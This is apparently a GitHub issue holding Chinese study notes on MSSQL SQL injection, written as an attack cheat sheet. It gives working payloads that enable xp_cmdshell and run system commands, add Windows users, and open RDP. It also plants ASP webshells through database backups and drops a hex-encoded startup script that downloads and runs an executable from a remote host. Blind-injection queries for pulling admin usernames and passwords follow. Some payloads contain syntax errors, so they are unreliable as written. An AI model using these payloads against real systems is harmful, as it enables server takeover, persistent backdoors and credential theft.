注入(四)
PyxYuYu opened this issue · 0 comments
PyxYuYu commented
I learned the value of hard work by working hard.
0x01 SQL注入
MSSQL
- 默认数据库
information_schema
:适用于MSSQL 2000
及更高版本pubs
:不适用于MSSQL 2005
model
:适用于所有版本msdb
:适用于所有版本tempdb
:适用于所有版本northwind
:适用于所有版本
- 注释查询
/*
--
;00%
- 例如:
select * from Users where username = '' or 1=1 --' and password = '';
- 三种权限
sa
:可以直接执行命令db_owner
:找到Web
路径,利用备份的方式得到WebShell
,有时也可以对注册表进行操作public
:需要猜解表和列
- 权限判断
- 利用
IS_SRVROLEMEMBER
函数来判断public
sysadmin
db_owner
and 1=(select IS_SRVROLEMEMBER('public'))
- 利用
is_member
函数来判断dbo
db_owner
public
and 1=(select is_member('dbo'))
- 利用
user_name()
来判断dbo
db_owner
public
and user_name()='dbo'
- 利用
- 数据库版本判断
and 1=convert(int, @@version)
- 当正在使用的数据库名
and 1=convert(int, db_name())
and (select db_name())>0
- 当前用户名
and 1=convert(int, user_name())
and 0<>(select user_name())
- 跨裤查询
// 将n改成0,1,2,3......可以实现跨裤查询 and 0<>db_name(n)
- 查看数据库是否支持多语句查询
;declare @d int;
- 判断站、库是否分离
- 显示数据库客户端主机名
and (select host_name())>0
- 显示数据库服务端主机名
and (select @@servername)>0
sa
权限xp_cmdshell
执行任意命令- 判断
xp_cmdshell
这个存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype ='x' and name = 'xp_cmdshell')
- 如果返回错误,说明不存在,在
MSSQL 2005
之后的数据库中,默认不开启xp_cmdshell
存储过程,要使用这个功能,必须先进行恢复
;exec sp_configure 'show advanced options`,1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
- 如果执行了这条命令,仍然无法开启
xp_cmdshell
存储进程,说明管理员将xplog70.dll
删除了,需要将xplog70.dll
上传至目标服务器(一般通过WebShell
上传) - 继续执行,即可恢复
xp_cmdshell
;exec master.dbo.sp_addextendedproc 'xp_cmdshell`,`c:\recycler\xplog70.dll';--
- 恢复
xp_cmdshell
之后,就可以运用这个存储过程执行系统命令
// 显示系统版本 ;exec master.dbo.xp_cmdshell 'ver';
- 如果
- 判断
xp_dirtree
列出文件目录MSSQL 2005
默认不开启
;exec master.dbo.xp_dirtree 'c:\',1,1;
SP_OAcreate
列出文件目录MSSQL 2005
默认不开启SP_OAcreate
存储过程,因此需要先启用Ole Automation Procedures
组件
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Ole Automation Procedures',1;reconfigure;
- 利用
wscript.shell
执行命令,添加用户,之后连接3389
或者进行其他操作
;declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user pyx 123456 /add'
sp_makewebtask
写入一句话木马(只能写文本数据)MSSQL 2005
默认未开启sp_configure
存储过程,因此得先启用Web Assistant Procedures
组件
;exec sp_configure 'show advanced options',1;reconfigure;exec sp_configure 'Web Assistant Procedures',1;reconfigure;
- 之后,执行下面命令,生成一句话木马
c:\test.asp
;exec sp_makewebtask 'c:\test.asp','select"<%execute(request("a"))%>"';
xp_regwrite
操作注册表- 开启
3389
端口命令(关闭则将 0 改成 1)
;exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0;
- 查看远程桌面终端开启的端口号命令
;exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber';
- 开启
db_owner
权限- 具有对当前数据库的修改、删除、新增数据表及执行
xp_regread
、xp_dirtree
等部分存储过程的权限(MSSQL 2005
以上版本,默认不开启这两个存储过程) - 该权限下除了可以采取
public
权限下的注入方式之外,还可以采取数据库差异备份
(或LOG备份
)一句话木马的方式获得WebShell
,甚至可以直接将木马备份到操作系统的启动项,待管理员重启服务器的时候获得控制权限 - 获取网站的绝对路径(
差异备份
或者LOG备份
的前提)- 直接通过网页报错信息,获得网站的绝对路径
- 在
URL
后添加'
符号,使网站报错,得到错误信息中显示的绝对路径
- 在
- 通过调用
xp_regread
、xp_dirtree
存储组件获得网站的绝对路径- 调用
xp_regread
存储过程
;create table cmd(a varchar(255))-- //创建表 ;declare @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into cmd values(@result);-- //将网站目录插到表字段中 and 1=(select count(*) from cmd where a > 1);-- //暴出该字段 ;drop table cmd-- //删除此表
- 调用
xp_dirtree
存储过程
;create table cmd(subdirectory varchar(400) NULL,depth tinyint NULL,[file] bit NULL)-- //创建表 ;insert cmd exec master..xp_dirtree 'C:\',1,1-- //将C盘的文件夹及文件插入到表中 and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from (select Top 1 [subdirectory],[file] from cmd order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);-- //暴出第1个文件夹名称 and 1=(select top 1 cast([subdirectory] as varchar(400))+char(124)+cast([file] as varchar(1))+char(124) from(select Top X [subdirectory],[file] from [jm_tmp] order by [file],[subdirectory]) T order by [file] desc,[subdirectory] desc);-- //暴出第X个文件夹名称
- 调用
- 直接通过网页报错信息,获得网站的绝对路径
- 备份一句话木马
- 数据库
差异备份
;backup database [当前数据库名] to disk = 'c:\recycler\1.bak'-- //先备份一次数据库 ;create table cmd (a image)-- //新建立一个名称为cmd的表 ;insert into cmd (a) values ('<%eval request("cmd")%>')-- //插入一句话木马 ;backup database [当前数据库名] to disk = '网站绝对路径' WITH DIFFERENTIAL,FORMAT--
LOG备份
;alter database 当前数据库名 set RECOVERY FULL-- //把SQL设置成日志完全恢复模式 ;create table cmd (a image)-- //新建立一个名称为cmd的表 ;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init-- //先把日志备份到C盘 ;insert into cmd (a) values ('<%eval request("cmd")%>')-- //插入一句话木马 ;backup log [当前数据库名] to disk = '网站绝对路径'-- //备份日志到网站绝对路径上,比如 ;backup log flower to disk = 'C:\flowerCompany\test.asp'--,菜刀链接 http://www.xxx.com/test.asp 即可 ;drop table cmd-- 删除新建的cmd表 ;alter database [当前数据库名] set RECOVERY SIMPLE-- //把SQL设置成日志简单恢复模式
- 由于大型网站的数据库很大,数据库内部数据的偶然性,采用数据库
差异备份
的成功率很低,而采用LOG备份
的文件体积很小,也很稳定,所以较常使用LOG备份
一句话木马
- 数据库
- 备份木马至启动项
- 通过远程下载方式备份
hta
木马至服务器启动项(hta
用script
脚本)
;alter database [当前数据库名] set RECOVERY FULL-- ;create table cmd(a image)-- ;backup log [当前数据库名] to disk = 'c:\recycler\1.txt' with init-- ;insert into cmd values(0x3C736372697074206C616E67756167653D225642536372697074223E0D0A77696E646F772E6D6F7665546F20383838382C383838380D0A753D22687474703A2F2F3139322E3136382E312E32332F746573742E657865220D0A703D226D2E657865220D0A53657420783D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022290D0A782E4F70656E22474554222C752C300D0A782E53656E6428290D0A53657420733D4372656174654F626A656374282241444F44422E53747265616D22290D0A732E4D6F64653D330D0A732E547970653D310D0A732E4F70656E28290D0A732E577269746528782E726573706F6E7365426F6479290D0A732E53617665546F46696C6520702C320D0A53657420773D4372656174654F626A6563742822577363726970742E5368656C6C22290D0A772E52756E20702C300D0A772E52756E22636D64202F632064656C20612E687461222C300D0A77696E646F772E726573697A65546F20302C300D0A77696E646F772E636C6F73650D0A3C2F7363726970743E)-- ;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.hta'-- ;drop table cmd--
- 备份添加用户的
bat
至服务器启动项
;alter database [当前数据库名] set RECOVERY FULL-- ;create table cmd (a image)-- ;backup log [当前数据库名] to disk = 'c:\recycler\1.bak' with init-- ;insert into cmd (a) values (0x406563686F206F66660D0A406364202577696E646972250D0A406E657420757365722061646D696E2061646D696E202F6164640D0A406E6574206C6F63616C67726F75702061646D696E6973747261746F72732061646D696E202F6164640D0A4064656C2073746172742E6261740D0A40657869740D0A400D0A)-- ;backup log [当前数据库名] to disk = 'C:\Documents and Settings\Administrator\「开始」菜单\程序\启动\start.bat'-- ;drop table cmd--
- 由于
bat
文件对字节数有严格要求,并且bat
文件执行很不稳定,实际的操作过程中一般采用备份成hta
文件的方式
- 通过远程下载方式备份
- 具有对当前数据库的修改、删除、新增数据表及执行
public
权限- 权限最小,只能进行列目录、读取数据库、建立临时表等操作,该权限下的注入,通常是通过爆库名、爆表名、爆列名、最后爆出关键列名对应的内容,从而获得后台管理员的用户名和密码
- 当前数据库注入步骤
- 爆表名
// n从1开始,可以爆第一个表名,之后类推 and (select top 1 name from(select top n id,name from sysobjects where xtype=char(85)) T order by id desc)>1
- 爆列名
// 利用上面爆出的表名,n从1开始,依次爆出所有列名 and (select top 1 col_name(object_id('表名'),n) from sysobjects)>1
// 利用 having 1=1 和 group by,但是只能爆当前数据库的当前表的所有列名 having 1=1 // 列名是从 having 1=1 爆出得来 group by 列名 having 1=1
- 爆内容
// 通过改变n,来获取所有内容 and (select top n 列名 from 表名)>1
// 另外一种快速猜解方法,就是利用平时积累的常用表名直接带入查询是否存在 // order by 出列数量,直接将猜测的表名带入查看是否返回正常,正常则存在,列名一样猜测 and 1=2 union select 1,2,3,4,5,6 from admin
- 盲注
- 无错误回显的
MSSQL
注入,即弹出对话框(非防注入警告)、调整到另一个页面、不显示内容,可以采用盲注 - 基于时间的盲注
- 利用
if
和waitfor delay
的结合,延迟执行SQL
语句,类似Access
中的ASCII
码逐位猜解
// 查看权限 ;if (0=(SELECT IS_MEMBER ('db_owner'))) waitfor delay '0:0:5'--
// 查看库名 ;if(lower(ascii(substring(db_name()),n,1))>97) waitfor delay '0:0:5'--
// 查看表名 ;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u') And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
// 查看其他表名 ;if(select count(*) from sysobjects where name in (select top 1 name from sysobjects where xtype='u' And name not in ('表名')) And ascii(substring(name,1,1))>80)=1 waitfor delay '0:0:5'--
// 假设表名 admin,查看列名 ;if(Ascii(substring((select top 1 column_name from information_schema.columns where table_name='admin'),1,1)))>80 '0:0:5'--
// 查看其他列名 ;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') And table_name='admin'),1,1)))>80 '0:0:5'-- ;if(Ascii(substring((select top 1 column_name from information_schema.columns where column_name<>('ID') AND where column_name<>('username') And table_name='admin'),1,1)))>80 '0:0:5'--
// 获取具体数据 ;if(ascii(substring((select top 1 Username from admin),1,1)))>1 waitfor delay '0:0:5'-- ;if(ascii(substring((select top 1 Password from admin),1,1)))>1 waitfor delay '0:0:5'--
- 利用
- 无错误回显的
- 默认数据库